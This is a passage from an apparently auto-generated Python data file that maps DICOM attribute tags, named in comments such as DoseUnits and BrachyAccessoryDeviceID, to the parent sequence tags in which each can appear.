0x300A0234L: [0x300A0230L],
# ApplicationSetupName
0x300A0236L: [0x300A0230L, 0x30080110L],
# ApplicationSetupManufacturer
0x300A0238L: [0x300A0230L, 0x30080110L],
# HistogramLastBinValue
0x00603006L: [0x00603000L],
# InstanceNumber
0x00200013L: [0x0008114AL],
# SelectorATValue
0x00720060L: [0x00720022L, 0x00720400L],
# TemplateType
0x300A0242L: [0x300A0230L, 0x30080110L],
# VerticalAlignment
0x00700243L: [0x00700231L],
# TemplateName
0x300A0244L: [0x300A0230L, 0x30080110L],
# ShadowOffsetX
0x00700245L: [0x00700232L, 0x00700231L],
# ShadowOffsetY
0x00700246L: [0x00700232L, 0x00700231L],
# ExcessiveFalsePositivesDataFlag
0x00240061L: [0x00240034L],
# AbsoluteChannelDisplayScale
0x003A0248L: [0x003A0242L],
# Bold
0x00700249L: [0x00700231L],
# DoseUnits
0x30040002L: [0x30040050L, 0x30040010L, 0x30080010L],
# OverrideParameterPointer
0x30080062L: [0x30080060L],
# TreatmentDate
0x30080250L: [0x30080240L],
# PatternOnColorCIELabValue
0x00700251L: [0x00700233L, 0x00700232L],
# PatternOffColorCIELabValue
0x00700252L: [0x00700233L, 0x00700232L],
# LineThickness
0x00700253L: [0x00700232L],
# LineDashingStyle
0x00700254L: [0x00700232L],
# LinePattern
0x00700255L: [0x00700232L],
# FillPattern
0x00700256L: [0x00700233L],
# FillMode
0x00700257L: [0x00700233L],
# ShadowOpacity
0x00700258L: [0x00700232L, 0x00700231L],
# CardiacFramingType
0x00181064L: [0x00540062L],
# EnergyWindowLowerLimit
0x00540014L: [0x00540013L],
# ImageFilter
0x00189320L: [0x00189314L],
# PerformedProtocolCodeSequence
0x00400260L: [0x00189506L],
# GapLength
0x00700261L: [0x00700209L],
# BrachyAccessoryDeviceNumber
0x300A0262L: [0x300A0260L],
# BrachyAccessoryDeviceID
0x300A0263L: [0x300A0260L, 0x30080120L],
# BrachyAccessoryDeviceType
0x300A0264L: [0x300A0260L, 0x30080120L],
# OverrideReason
0x30080066L: [0x30080060L, 0x0074104AL],
# BrachyAccessoryDeviceName
0x300A0266L: [0x300A0260L, 0x30080120L],
# BrachyAccessoryDeviceNominalThickness
0x300A026AL: [0x300A0260L],
# BrachyAccessoryDeviceNominalTransmission
0x300A026CL: [0x300A0260L],
# InformationIssueDateTime
0x00686270L: [0x00686265L, 0x00686260L],
# SelectorLTValue
0x00720068L: [0x00720022L, 0x00720400L],
# RotationPoint
0x00700273L: [0x00700209L],
# LensSegmentType
0x00460038L: [0x00460014L, 0x00460015L, 0x00460016L],
# TriggerTimeOffset
0x00181069L: [0x54000100L],
# ShowTickLabel
0x00700278L: [0x00700209L],
# TickLabelAlignment
0x00700279L: [0x00700209L],
# EnergyWindowUpperLimit
0x00540015L: [0x00540013L],
# CorrectionValue
0x3008006AL: [0x30080068L],
# PostDeformationMatrixRegistrationSequence
0x00640010L: [0x00640002L],
# InformationSummary
0x00686280L: [0x00686265L, 0x00686260L],
# FixationDevicePitchAngle
0x300A0199L: [0x300A0190L],
# ChannelNumber
0x300A0282L: [0x300A0280L, 0x30080130L],
# PatternOnOpacity
0x00700284L: [0x00700233L, 0x00700232L],
# PatternOffOpacity
0x00700285L: [0x00700233L, 0x00700232L],
# SeamLineLocation
0x00520033L: [0x00520027L],
# MajorTicksSequence
0x00700287L: [0x00700209L],
# SourceMovementType
0x300A0288L: [0x300A0280L, 0x30080130L],
# TickLabel
0x00700289L: [0x00700287L],
# NumberOfPulses
0x300A028AL: [0x300A0280L],
# PulseRepetitionInterval
0x300A028CL: [0x300A0280L],
# SourceApplicatorNumber
0x300A0290L: [0x300A0280L],
# SourceApplicatorID
0x300A0291L: [0x300A0280L, 0x30080140L],
# SourceApplicatorType
0x300A0292L: [0x300A0280L, 0x30080140L],
# QuantitySequence
0x00400293L: [0x00400324L],
# SourceApplicatorName
0x300A0294L: [0x300A0280L, 0x30080140L],
# BreedRegistrationNumber
0x00102295L: [0x00102294L],
# BreedRegistryCodeSequence
0x00102296L: [0x00102294L],
# SourceApplicatorManufacturer
0x300A0298L: [0x300A0280L, 0x30080140L],
# ResidualSyringeCounts
0x00540017L: [0x00540306L],
# DeviceDiameter
0x00500016L: [0x00500010L],
# SourceApplicatorWallNominalThickness
0x300A029CL: [0x300A0280L],
# SourceApplicatorWallNominalTransmission
0x300A029EL: [0x300A0280L],
# SourceApplicatorStepSize
0x300A02A0L: [0x300A0280L, 0x30080140L],
# Manufacturer
0x00080070L: [0x300A03A2L, 0x00189506L, 0x300A00B0L, 0x300A0206L, 0x00500010L, 0x0040A078L, 0x0040A07AL, 0x0018A001L, 0x00400520L],
# TransferTubeNumber
0x300A02A2L: [0x300A0280L, 0x30080130L],
# TransferTubeLength
0x300A02A4L: [0x300A0280L, 0x30080130L],
# FractionGroupNumber
0x300A0071L: [0x300A0070L],
# RadiopharmaceuticalStartTime
0x00181072L: [0x00540016L],
# ChannelShieldSequence
0x300A02B0L: [0x300A0280L],
# ChannelShieldNumber
0x300A02B2L: [0x300A02B0L],
# ChannelShieldID
0x300A02B3L: [0x300A02B0L, 0x30080150L],
# ChannelShieldName
0x300A02B4L: [0x300A02B0L, 0x30080150L],
# ChannelShieldNominalThickness
0x300A02B8L: [0x300A02B0L],
# FrameAcquisitionDateTime
0x00189074L: [0x00209111L],
# ChannelShieldNominalTransmission
0x300A02BAL: [0x300A02B0L],
# DiffusionDirectionality
0x00189075L: [0x00189117L],
# ContainerComponentWidth
0x00500015L: [0x00400520L],
# DiffusionGradientDirectionSequence
0x00189076L: [0x00189117L],
# FinalCumulativeTimeWeight
0x300A02C8L: [0x300A0280L],
# ParallelAcquisition
0x00189077L: [0x00189115L],
# BrachyControlPointSequence
0x300A02D0L: [0x300A0280L],
# ParallelAcquisitionTechnique
0x00189078L: [0x00189115L],
# ControlPointRelativePosition
0x300A02D2L: [0x300A02D0L, 0x30080160L],
# CodingSchemeRegistry
0x00080112L: [0x00080110L],
# ControlPoint3DPosition
0x300A02D4L: [0x300A02D0L],
# HPGLDocumentLabel
0x006862D5L: [0x006862C0L],
# CumulativeTimeWeight
0x300A02D6L: [0x300A02D0L],
# InversionTimes
0x00189079L: [0x00189115L],
# Radiopharmaceutical
0x00180031L: [0x00540016L],
# SelectorUSValue
0x0072007AL: [0x00720022L, 0x00720400L],
# CompensatorDivergence
0x300A02E0L: [0x300A02EAL, 0x300A00E3L],
# CompensatorMountingPosition
0x300A02E1L: [0x300A02EAL, 0x300A00E3L],
# SourceToCompensatorDistance
0x300A02E2L: [0x300A00E3L],
# TotalCompensatorTrayWaterEquivalentThickness
0x300A02E3L: [0x300A03A2L],
# IsocenterToCompensatorTrayDistance
0x300A02E4L: [0x300A02EAL],
# CompensatorColumnOffset
0x300A02E5L: [0x300A02EAL],
# IsocenterToCompensatorDistances
0x300A02E6L: [0x300A02EAL],
# CompensatorRelativeStoppingPowerRatio
0x300A02E7L: [0x300A02EAL],
# CompensatorMillingToolDiameter
0x300A02E8L: [0x300A02EAL],
# IonRangeCompensatorSequence
0x300A02EAL: [0x300A03A2L],
# CompensatorDescription
0x300A02EBL: [0x300A02EAL, 0x300A00E3L],
# MaskFrameNumbers
0x00286110L: [0x00286100L],
# ViewOrientationModifier
0x006862F0L: [0x006862C0L],
# HPGLDocumentScaling
0x006862F2L: [0x006862C0L],
# InterMarkerDistance
0x00500019L: [0x00500010L],
# RadionuclideCodeSequence
0x00540300L: [0x00540016L],
# ChannelIdentificationCode
0x003A0301L: [0x003A0300L],
# RadiationMassNumber
0x300A0302L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# ImageBoxLayoutType
0x00720304L: [0x00720300L],
# CertifiedTimestampType
0x04000305L: [0xFFFAFFFAL],
# RadiationChargeState
0x300A0306L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# DataSetVersion
0x00240307L: [0x00240064L, 0x00240058L],
# DataSetSource
0x00240308L: [0x00240064L, 0x00240058L],
# MatrixRegistrationSequence
0x00700309L: [0x00700308L],
# NumericValue
0x0040A30AL: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00221262L, 0x00221092L, 0x00440019L, 0x00400612L, 0x00400620L, 0x0040A300L, 0x0040B020L, 0x00400555L, 0x00741212L],
# SnoutSequence
0x300A030CL: [0x300A03A2L],
# SnoutPosition
0x300A030DL: [0x300A03A8L, 0x30080041L, 0x0074104EL],
# SnoutID
0x300A030FL: [0x300A030CL, 0x300800F0L],
# ImageBoxScrollDirection
0x00720310L: [0x00720300L],
# FiducialIdentifierCodeSequence
0x00700311L: [0x0070031EL],
# ImageBoxSmallScrollType
0x00720312L: [0x00720300L],
# NumberOfAverages
0x00180083L: [0x00189119L],
# RangeShifterSequence
0x300A0314L: [0x300A03A2L],
# RangeShifterNumber
0x300A0316L: [0x300A0314L],
# RangeShifterID
0x300A0318L: [0x300A0314L, 0x300800F2L],
# ObserverType
0x0040A084L: [0x00221220L, 0x0040A078L, 0x0040A07AL],
# FiducialUID
0x0070031AL: [0x00700314L, 0x0070031EL, 0x0040A730L],
# FiducialSequence
0x0070031EL: [0x0070031CL],
# ConsentForDistributionFlag
0x00120085L: [0x00120083L],
# ImageBoxOverlapPriority
0x00720320L: [0x00720300L],
# RangeShifterDescription
0x300A0322L: [0x300A0314L],
# DataObservationSequence
0x00240325L: [0x00240320L, 0x00240317L],
# EnergyWindowName
0x00540018L: [0x00540012L],
# NumberOfLateralSpreadingDevices
0x300A0330L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# VerifyingObserverIdentificationCodeSequence
0x0040A088L: [0x0040A073L],
# LateralSpreadingDeviceSequence
0x300A0332L: [0x300A03A2L],
# LateralSpreadingDeviceNumber
0x300A0334L: [0x300A0332L],
# LateralSpreadingDeviceID
0x300A0336L: [0x300A0332L, 0x300800F4L],
# IndexNormalsFlag
0x00240338L: [0x00240320L, 0x00240317L],
# LateralSpreadingDeviceDescription
0x300A033AL: [0x300A0332L],
# LateralSpreadingDeviceWaterEquivalentThickness
0x300A033CL: [0x300A0370L],
# NumberOfRangeModulators
0x300A0340L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# IndexProbability
0x00240341L: [0x00240344L],
# RangeModulatorSequence
0x300A0342L: [0x300A03A2L],
# TriangleFanSequence
0x00660027L: [0x00660013L],
# IndexProbabilitySequence
0x00240344L: [0x00240320L, 0x00240317L],
# HPGLPenDescription
0x00686345L: [0x00686320L],
# RangeModulatorID
0x300A0346L: [0x300A0342L, 0x300800F6L],
# BoundingRectangle
0x00686347L: [0x006862C0L],
# RangeModulatorType
0x300A0348L: [0x300A0342L, 0x300800F6L],
# RangeModulatorDescription
0x300A034AL: [0x300A0342L],
# BeamCurrentModulationID
0x300A034CL: [0x300A0342L, 0x300800F6L],
# ContainerComponentLength
0x0050001CL: [0x00400520L],
# PatientSupportType
0x300A0350L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# PatientSupportID
0x300A0352L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# PatientSupportAccessoryCode
0x300A0354L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# FixationLightAzimuthalAngle
0x300A0356L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# FixationLightPolarAngle
0x300A0358L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# MetersetRate
0x300A035AL: [0x300A03A8L],
# ContainerComponentMaterial
0x0050001AL: [0x00400520L],
# RangeShifterSettingsSequence
0x300A0360L: [0x300A03A8L, 0x30080041L, 0x0074104EL],
# Component1ReferencedMatingFeatureID
0x00760090L: [0x00760060L],
# RangeShifterSetting
0x300A0362L: [0x300A0360L],
# IsocenterToRangeShifterDistance
0x300A0364L: [0x300A0360L],
# VOILUTSequence
0x00283010L: [0x00283110L, 0x00289132L, 0x00281401L],
# VisualFieldTestPointYCoordinate
0x00240091L: [0x00240089L],
# AgeCorrectedSensitivityDeviationValue
0x00240092L: [0x00240097L],
# LateralSpreadingDeviceSettingsSequence
0x300A0370L: [0x300A03A8L, 0x30080041L, 0x0074104EL],
# LateralSpreadingDeviceSetting
0x300A0372L: [0x300A0370L],
# StimulusResults
0x00240093L: [0x00240089L],
# IsocenterToLateralSpreadingDeviceDistance
0x300A0374L: [0x300A0370L],
# PrinterPixelSpacing
0x20100376L: [0x200000A8L],
# DoseType
0x30040004L: [0x30040050L],
# SensitivityValue
0x00240094L: [0x00240089L],
# RetestStimulusSeen
0x00240095L: [0x00240089L],
# SurfaceModelLabel
0x00686380L: [0x00686360L],
# RangeModulatorGatingStartValue
0x300A0382L: [0x300A0380L],
# RangeModulatorGatingStopValue
0x300A0384L: [0x300A0380L],
# KeratometryMeasurementTypeCodeSequence
0x00221096L: [0x00221300L, 0x00221310L],
# DetectorConditionsNominalFlag
0x00187000L: [0x00189507L],
# RangeModulatorGatingStopWaterEquivalentThickness
0x300A0388L: [0x300A0380L],
# IsocenterToRangeModulatorDistance
0x300A038AL: [0x300A0380L],
# VisualFieldTestPointNormalsSequence
0x00240097L: [0x00240089L],
# ScanSpotTuneID
0x300A0390L: [0x300A03A8L, 0x30080041L],
# TransmitterFrequency
0x00189098L: [0x00189006L],
# NumberOfScanSpotPositions
0x300A0392L: [0x300A03A8L, 0x30080041L],
# ScanSpotPositionMap
0x300A0394L: [0x300A03A8L, 0x30080041L],
# ScanSpotMetersetWeights
0x300A0396L: [0x300A03A8L],
# ScanningSpotSize
0x300A0398L: [0x300A03A8L, 0x30080041L],
# NumberOfPaintings
0x300A039AL: [0x300A03A8L, 0x30080041L],
# TwoDPlaneIntersection
0x006865F0L: [0x006865E0L],
# DetectorTemperature
0x00187001L: [0x00189507L],
# IonBlockSequence
0x300A03A6L: [0x300A03A2L],
# IonControlPointSequence
0x300A03A8L: [0x300A03A2L],
# IonWedgeSequence
0x300A03AAL: [0x300A03A2L],
# IonWedgePositionSequence
0x300A03ACL: [0x300A03A8L, 0x30080041L, 0x0074104EL],
# MaxDensity
0x20100130L: [0x200000A2L, 0x200000A4L],
# ImageSetSelectorSequence
0x00720022L: [0x00720020L],
# TextColorCIELabValue
0x00700241L: [0x00700231L],
# MatingFeatureSetID
0x006863C0L: [0x006863B0L],
# Component2ReferencedID
0x007600A0L: [0x00760060L],
# ReferencedFractionGroupSequence
0x300C0020L: [0x300C0002L],
# MediaInstalledSequence
0x200000A2L: [0x2000001EL],
# MatingFeatureSetLabel
0x006863D0L: [0x006863B0L],
# HorizontalAlignment
0x00700242L: [0x00700231L],
# OtherMediaAvailableSequence
0x200000A4L: [0x2000001EL],
# MatingFeatureSequence
0x006863E0L: [0x006863B0L],
# IssuerOfPatientID
0x00100021L: [0x00101002L],
# SpecifiedChannelTotalTime
0x30080132L: [0x30080130L],
# SpecifiedSecondaryMeterset
0x30080033L: [0x30080020L, 0x00741042L, 0x30080021L],
# MatingFeatureID
0x006863F0L: [0x006863E0L],
# DefaultSmoothingType
0x201000A8L: [0x2000001EL],
# OtherSmoothingTypesAvailable
0x201000A9L: [0x2000001EL],
# DetectorType
0x00187004L: [0x00189507L, 0x00189506L],
# CodingSchemeExternalID
0x00080114L: [0x00080110L],
# CommentsOnTheScheduledProcedureStep
0x00400400L: [0x00400100L],
# DigitalSignaturePurposeCodeSequence
0x04000401L: [0xFFFAFFFAL],
# FilterByCategory
0x00720402L: [0x00720400L],
# CurrentFractionNumber
0x30080022L: [0x30080020L, 0x30080021L, 0x30080110L, 0x00741020L],
# FilterByAttributePresence
0x00720404L: [0x00720400L],
# BlendingPosition
0x00700405L: [0x00700402L],
# FilterByOperator
0x00720406L: [0x00720400L],
# DiffusionBValueXX
0x00189602L: [0x00189601L],
# DegreeOfFreedomID
0x00686410L: [0x00686400L],
# PatientOrientationModifierCodeSequence
0x00540412L: [0x00540410L],
# ShutterRightVerticalEdge
0x00181604L: [0x00189472L],
# GeneralAccessorySequence
0x300A0420L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x30080021L, 0x30020030L],
# RecordedWedgeSequence
0x300800B0L: [0x30080020L, 0x00741042L, 0x30080021L],
# GeneralAccessoryDescription
0x300A0422L: [0x300A0420L],
# GeneralAccessoryType
0x300A0423L: [0x300A0420L],
# GeneralAccessoryNumber
0x300A0424L: [0x300A0420L],
# ShutterUpperHorizontalEdge
0x00181606L: [0x00189472L],
# DeliveredChannelTotalTime
0x30080134L: [0x30080130L],
# TreatmentMachineName
0x300A00B2L: [0x300A03A2L, 0x300A00B0L, 0x00741042L, 0x300A0206L],
# TwoDMatingFeatureCoordinatesSequence
0x00686430L: [0x006863E0L],
# ApplicatorGeometrySequence
0x300A0431L: [0x300A0107L],
# ApplicatorApertureShape
0x300A0432L: [0x300A0431L],
# ApplicatorOpening
0x300A0433L: [0x300A0431L],
# ApplicatorOpeningX
0x300A0434L: [0x300A0431L],
# ApplicatorOpeningY
0x300A0435L: [0x300A0431L],
# SourceToApplicatorMountingPositionDistance
0x300A0436L: [0x300A0107L],
# Modality
0x00080060L: [0x00400100L, 0x0072000CL],
# SourceAxisDistance
0x300A00B4L: [0x300A00B0L, 0x30080020L],
# DetectorDescription
0x00187006L: [0x00189507L],
# TreatmentControlPointDate
0x30080024L: [0x30080040L, 0x30080041L, 0x30080160L],
# ReferencedHPGLDocumentID
0x00686440L: [0x00780070L, 0x006865A0L, 0x00686430L, 0x00686470L, 0x00686550L, 0x006865E0L],
# ContentItemModifierSequence
0x00400441L: [0x00400440L],
# BeamLimitingDeviceSequence
0x300A00B6L: [0x300A00B0L, 0x30020030L],
# SoftwareVersions
0x00181020L: [0x00189506L, 0x0018A001L],
# TwoDMatingPoint
0x00686450L: [0x00686430L],
# RTBeamLimitingDeviceType
0x300A00B8L: [0x300A03A4L, 0x300A00B6L, 0x300A011AL, 0x300800A0L, 0x300A0048L],
# SourceToBeamLimitingDeviceDistance
0x300A00BAL: [0x300A00B6L],
# TwoDMatingAxes
0x00686460L: [0x00686430L],
# SpecimenPreparationSequence
0x00400610L: [0x00400560L],
# SpecimenPreparationStepContentItemSequence
0x00400612L: [0x00400610L],
# TwoDDegreeOfFreedomSequence
0x00686470L: [0x00686400L],
# TwoDPointCoordinates
0x00686560L: [0x00686550L],
# DetectorMode
0x00187008L: [0x00189507L],
# RTPlanRelationship
0x300A0055L: [0x300C0002L],
# OCTZOffsetCorrection
0x00520030L: [0x00520029L],
# BeamDose
0x300A0084L: [0x300C0004L],
# BeamNumber
0x300A00C0L: [0x300A03A2L, 0x300A00B0L],
# BeamTaskType
0x00741022L: [0x00741020L],
# RelatedFrameOfReferenceUID
0x300600C2L: [0x300600C0L],
# ThreeDDegreeOfFreedomAxis
0x00686490L: [0x00686400L],
# ArchiveRequested
0x0040A494L: [0x00081115L, 0x00400340L],
# CodingSchemeName
0x00080115L: [0x00080110L],
# FrameOfReferenceTransformationType
0x300600C4L: [0x300600C0L],
# InterventionDrugName
0x00180034L: [0x00180026L],
# RangeOfFreedom
0x006864A0L: [0x00686470L, 0x00686400L],
# RadiationType
0x300A00C6L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x00741042L, 0x30080021L],
# IOLPowerForExactEmmetropia
0x00221121L: [0x00221300L, 0x00221310L],
# HighDoseTechniqueType
0x300A00C7L: [0x300A00B0L, 0x30080020L],
# ReferenceImageNumber
0x300A00C8L: [0x300C0042L],
# ReferencedContentItemIdentifier
0x0040DB73L: [0x0040A730L],
# BeamOrderIndexTrial
0x00741024L: [0x00741020L],
# ThreeDMatingPoint
0x006864C0L: [0x006863E0L],
# SpecimenLocalizationContentItemSequence
0x00400620L: [0x00400560L],
# TIDOffset
0x00286120L: [0x00286100L],
# ThreeDMatingAxes
0x006864D0L: [0x006863E0L],
# NumberOfWedges
0x300A00D0L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x00741042L, 0x30080021L],
# ROIPhysicalProperty
0x300600B2L: [0x300600B0L],
# DateOfLastDetectorCalibration
0x0018700CL: [0x00189507L, 0x00189506L],
# TwoDDegreeOfFreedomAxis
0x006864F0L: [0x00686470L],
# TreatmentTerminationStatus
0x3008002AL: [0x30080240L, 0x30080020L, 0x30080021L, 0x30080110L],
# PerformedWorkitemCodeSequence
0x00404019L: [0x00081111L, 0x00741216L],
# CalculatedDoseReferenceNumber
0x30080072L: [0x30080070L],
# TableTopVerticalAdjustedPosition
0x00741026L: [0x00741020L],
# BlendingOperationType
0x00720500L: [0x00720200L],
# ContentTemplateSequence
0x0040A504L: [0x0040A730L],
# ReformattingOperationType
0x00720510L: [0x00720200L],
# ContainerIdentifier
0x00400512L: [0x00400500L, 0x00081140L, 0x00400515L],
# IssuerOfTheContainerIdentifierSequence
0x00400513L: [0x00400500L, 0x00400515L],
# ReformattingInterval
0x00720514L: [0x00720200L],
# AlternateContainerIdentifierSequence
0x00400515L: [0x00400500L],
# ReformattingOperationInitialViewDirection
0x00720516L: [0x00720200L],
# ContainerTypeCodeSequence
0x00400518L: [0x00400500L],
# TableTopLongitudinalAdjustedPosition
0x00741027L: [0x00741020L],
# ContainerDescription
0x0040051AL: [0x00400500L],
# ContainerComponentSequence
0x00400520L: [0x00400500L],
# RegionSpatialFormat
0x00186012L: [0x00186011L],
# ROIPhysicalPropertyValue
0x300600B4L: [0x300600B0L],
# TimeOfLastDetectorCalibration
0x0018700EL: [0x00189507L, 0x00189506L],
# CodingSchemeResponsibleOrganization
0x00080116L: [0x00080110L],
# TreatmentVerificationStatus
0x3008002CL: [0x30080020L, 0x30080021L, 0x30080110L],
# PlanningLandmarkID
0x00686530L: [0x00686500L, 0x00686510L, 0x00686520L],
# ContrastBolusIngredientPercentByVolume
0x00520001L: [0x00180012L],
# TableTopLateralAdjustedPosition
0x00741028L: [0x00741020L],
# PlanningLandmarkDescription
0x00686540L: [0x00686500L, 0x00686510L, 0x00686520L],
# ReferencedBlockNumber
0x300C00E0L: [0x300800D0L],
# ContributionDateTime
0x0018A002L: [0x0018A001L],
# PlanningLandmarkIdentificationCodeSequence
0x00686545L: [0x00686500L, 0x00686510L, 0x00686520L],
# HistogramData
0x00603020L: [0x00603000L],
# WaveformOriginality
0x003A0004L: [0x54000100L],
# TwoDPointCoordinatesSequence
0x00686550L: [0x00686500L],
# SpecimenIdentifier
0x00400551L: [0x00400560L],
# SpecimenUID
0x00400554L: [0x00400560L, 0x00480110L],
# RegionDataType
0x00186014L: [0x00186011L],
# CompensatorID
0x300A00E5L: [0x300A02EAL, 0x300A00E3L, 0x300800C0L],
# SpecimenDescriptionSequence
0x00400560L: [0x00400500L, 0x00081140L],
# AttributeModificationDateTime
0x04000562L: [0x04000561L],
# ModifyingSystem
0x04000563L: [0x04000561L],
# SourceOfPreviousValues
0x04000564L: [0x04000561L],
# ReasonForTheAttributeModification
0x04000565L: [0x04000561L],
# ExposuresOnDetectorSinceLastCalibration
0x00187010L: [0x00189507L],
# PatientSupportAdjustedAngle
0x0074102AL: [0x00741020L],
# GeneralizedDefectCorrectedSensitivityDeviationValue
0x00240103L: [0x00240097L],
# ReferencedBeamSequence
0x300C0004L: [0x300C0020L, 0x300A0070L],
# Italic
0x00700250L: [0x00700231L],
# BoundingBoxTopLeftHandCorner
0x00700010L: [0x00700008L],
# CompensatorTransmissionData
0x300A00EBL: [0x300A00E3L],
# ThreeDPointCoordinates
0x00686590L: [0x00686500L],
# TableTopEccentricAdjustedAngle
0x0074102BL: [0x00741020L],
# RegionFlags
0x00186016L: [0x00186011L],
# ROIElementalCompositionAtomicMassFraction
0x300600B8L: [0x300600B6L],
# ScheduledProcedureStepDescription
0x00400007L: [0x00400100L, 0x00400270L, 0x00400275L],
# TwoDLineCoordinatesSequence
0x006865A0L: [0x00686510L],
# ReferencedControlPointIndex
0x300C00F0L: [0x30080040L, 0x30080041L, 0x30080160L, 0x0074104EL, 0x0074104CL],
# LanguageCodeSequence
0x00080006L: [0x00700087L],
# PixelSpacing
0x00280030L: [0x00289110L, 0x00480200L],
# RecordedRangeShifterSequence
0x300800F2L: [0x30080021L, 0x00741046L],
# TwoDLineCoordinates
0x006865B0L: [0x006865A0L],
# ContainerComponentDescription
0x0050001EL: [0x00400520L],
# ReferencedStartControlPointIndex
0x300C00F4L: [0x300C00F2L],
# AlgorithmNameCodeSequence
0x00660030L: [0x00240083L, 0x00240085L, 0x00240344L, 0x00660035L, 0x0066002DL, 0x00240065L, 0x00240067L],
# ReferencedStopControlPointIndex
0x300C00F6L: [0x300C00F2L],
# NumberOfFramesInRotation
0x00540053L: [0x00540052L],
# ThreeDLineCoordinates
0x006865D0L: [0x00686510L],
# RegionLocationMinX0
0x00186018L: [0x00186011L],
# TwoDPlaneCoordinatesSequence
0x006865E0L: [0x00686520L],
# ImagePositionPatient
0x00200032L: [0x00209113L, 0x00640005L, 0x00540022L],
# PerformedProcedureStepDescription
0x00400254L: [0x00741216L],
# ReceiveCoilName
0x00181250L: [0x00189042L],
# ConstraintWeight
0x300A0021L: [0x300A0010L, 0x300C0050L],
# SortingOperationsSequence
0x00720600L: [0x00720200L],
# DigitalSignatureUID
0x04000100L: [0xFFFAFFFAL, 0x04000402L],
# SortByCategory
0x00720602L: [0x00720600L],
# SortingDirection
0x00720604L: [0x00720600L],
# OphthalmicAxialLengthMeasurementsSegmentNameCodeSequence
0x00221101L: [0x00221257L, 0x00221211L],
# ContinuationStartMeterset
0x00740120L: [0x00741020L],
# BlockTransmission
0x300A0102L: [0x300A00F4L],
# ThreeDPlaneOrigin
0x00686610L: [0x00686520L],
# RegionLocationMinY0
0x0018601AL: [0x00186011L],
# PresentationPixelMagnificationRatio
0x00700103L: [0x0070005AL],
# BoundingBoxBottomRightHandCorner
0x00700011L: [0x00700008L],
# TransmitCoilName
0x00181251L: [0x00189049L],
# ReferencedRangeModulatorNumber
0x300C0104L: [0x300A0380L, 0x300800F6L],
# SourceSerialNumber
0x30080105L: [0x30080100L],
# ThreeDPlaneNormal
0x00686620L: [0x00686520L],
# FluenceMode
0x30020051L: [0x30020050L],
# BlockData
0x300A0106L: [0x300A03A6L, 0x300A00F4L],
# CalculatedDoseReferenceDescription
0x30080074L: [0x30080070L],
# ProtocolName
0x00181030L: [0x00189506L, 0x00400340L],
# LargestImagePixelValue
0x00280107L: [0x00880200L],
# ApplicatorID
0x300A0108L: [0x300A0107L],
# ApplicatorDescription
0x300A010AL: [0x300A0107L],
# SegmentAlgorithmName
0x00620009L: [0x00620002L],
# ChannelMinimumValue
0x54000110L: [0x003A0200L],
# CumulativeDoseReferenceCoefficient
0x300A010CL: [0x300C0050L, 0x300C0055L],
# NumberOfHorizontalPixels
0x00720106L: [0x00720102L],
# RegionLocationMaxX1
0x0018601CL: [0x00186011L],
# FinalCumulativeMetersetWeight
0x300A010EL: [0x300A03A2L, 0x300A00B0L],
# DeliveredPrimaryMeterset
0x30080036L: [0x30080020L, 0x30080021L],
# ReferencedStudySequence
0x00081110L: [0x0040A370L, 0x00400270L, 0x00400275L],
# ProcedureCodeSequence
0x00081032L: [0x0072000CL],
# FlowCompensation
0x00189010L: [0x00189115L],
# ControlPointSequence
0x300A0111L: [0x300A00B0L],
# ContrastFrameAveraging
0x00286112L: [0x00286100L],
# MaskSubPixelShift
0x00286114L: [0x00289415L, 0x00289502L, 0x00286100L],
# CertificateOfSigner
0x04000115L: [0xFFFAFFFAL],
# ApplicationSetupCheck
0x30080116L: [0x30080110L],
# FrameOfReferenceRelationshipSequence
0x300600C0L: [0x30060010L],
# DeliveryWarningDose
0x300A0022L: [0x300A0010L, 0x300C0050L],
# PauseBetweenFrames
0x00540038L: [0x00540032L],
# DoubleExposureFlag
0x00741034L: [0x00741030L],
# ReferencedBeamNumber
0x300C0006L: [0x30080020L, 0x00741042L, 0x30080021L, 0x00741020L, 0x300C0004L],
# BoundingBoxTextHorizontalJustification
0x00700012L: [0x00700008L],
# ImagePathFilterTypeStackCodeSequence
0x00220018L: [0x00480105L],
# PhaseDescription
0x00540039L: [0x00540032L],
# PerformedStationNameCodeSequence
0x00404028L: [0x00741216L],
# ReferencedFrameOfReferenceUID
0x30060024L: [0x0040A730L, 0x30060020L],
# RecordedBrachyAccessoryDeviceSequence
0x30080120L: [0x30080110L],
# WaveformSampleInterpretation
0x54001006L: [0x54000100L],
# ContinuationEndMeterset
0x00740121L: [0x00741020L],
# StartTrim
0x00082142L: [0x00089458L],
# ReferencedBrachyAccessoryDeviceNumber
0x30080122L: [0x30080120L],
# PatientSupportRotationDirection
0x300A0123L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x0074104CL],
# PerformedStationClassCodeSequence
0x00404029L: [0x00741216L],
# TableTopEccentricAxisDistance
0x300A0124L: [0x300A0111L, 0x30080040L, 0x0074104CL],
# ZoomFactor
0x00280031L: [0x00540022L],
# DoubleExposureOrdering
0x00741036L: [0x00741030L],
# DeviceDescription
0x00500020L: [0x00500010L],
# ScreeningBaselineValue
0x00240126L: [0x00240122L],
# RelationshipType
0x0040A010L: [0x0040A730L],
# LensThicknessSequence
0x00221127L: [0x00221300L, 0x00221310L],
# AnteriorChamberDepthSequence
0x00221128L: [0x00221300L, 0x00221310L],
# VerticalPrismBase
0x00460036L: [0x00460028L],
# DisplaySetPatientOrientation
0x00720700L: [0x00720200L],
# VOIType
0x00720702L: [0x00720200L],
# PseudoColorType
0x00720704L: [0x00720200L],
# PseudoColorPaletteInstanceReferenceSequence
0x00720705L: [0x00720200L],
# ShowGrayscaleInverted
0x00720706L: [0x00720200L],
# ShowImageTrueSizeFlag
0x00720710L: [0x00720200L],
# ShowGraphicAnnotationFlag
0x00720712L: [0x00720200L],
# ShowPatientDemographicsFlag
0x00720714L: [0x00720200L],
# ShowAcquisitionTechniquesFlag
0x00720716L: [0x00720200L],
# DisplaySetHorizontalJustification
